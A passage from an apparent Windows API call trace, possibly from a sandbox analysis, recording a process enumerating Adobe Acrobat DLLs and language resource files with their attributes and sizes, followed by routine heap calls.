lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelper.dll", cAlternateFileName="ACROIE~1.DLL")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelperShim.dll", cAlternateFileName="ACROIE~2.DLL")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CAT", cAlternateFileName="")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHS", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHT", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CZE", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DAN", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DEU", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xab790, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.dll", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ESP", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.EUQ", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.FRA", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HRV", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HUN", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ITA", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.JPN", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.KOR", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NLD", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NOR", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.POL", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.PTB", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUM", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUS", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SKY", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SLV", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SUO", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SVE", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.TUR", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.UKR", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CAT", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHS", cAlternateFileName="")) returned 1 [0241.038] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHT", cAlternateFileName="")) returned 1 [0241.038] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CZE", cAlternateFileName="")) returned 1 [0241.038] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DAN", cAlternateFileName="")) returned 1 [0241.070] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DEU", cAlternateFileName="")) returned 1 [0241.070] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdfshell.dll", cAlternateFileName="")) returned 1 [0241.070] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ESP", cAlternateFileName="")) returned 1 [0241.070] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.EUQ", cAlternateFileName="")) returned 1 [0241.070] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.FRA", cAlternateFileName="")) returned 1 [0241.071] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HRV", cAlternateFileName="")) returned 1 [0241.071] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HUN", cAlternateFileName="")) returned 1 [0241.071] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ITA", cAlternateFileName="")) returned 1 [0241.071] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.JPN", cAlternateFileName="")) returned 1 [0241.071] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.KOR", cAlternateFileName="")) returned 1 [0241.071] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NLD", cAlternateFileName="")) returned 1 [0241.071] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NOR", cAlternateFileName="")) returned 1 [0241.072] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.073] GetProcessHeap () returned 0x550000 [0241.073] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.073] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0241.073] GetProcessHeap () returned 0x550000 [0241.073] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0241.073] GetProcessHeap () returned 0x550000 [0241.073] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0241.073] 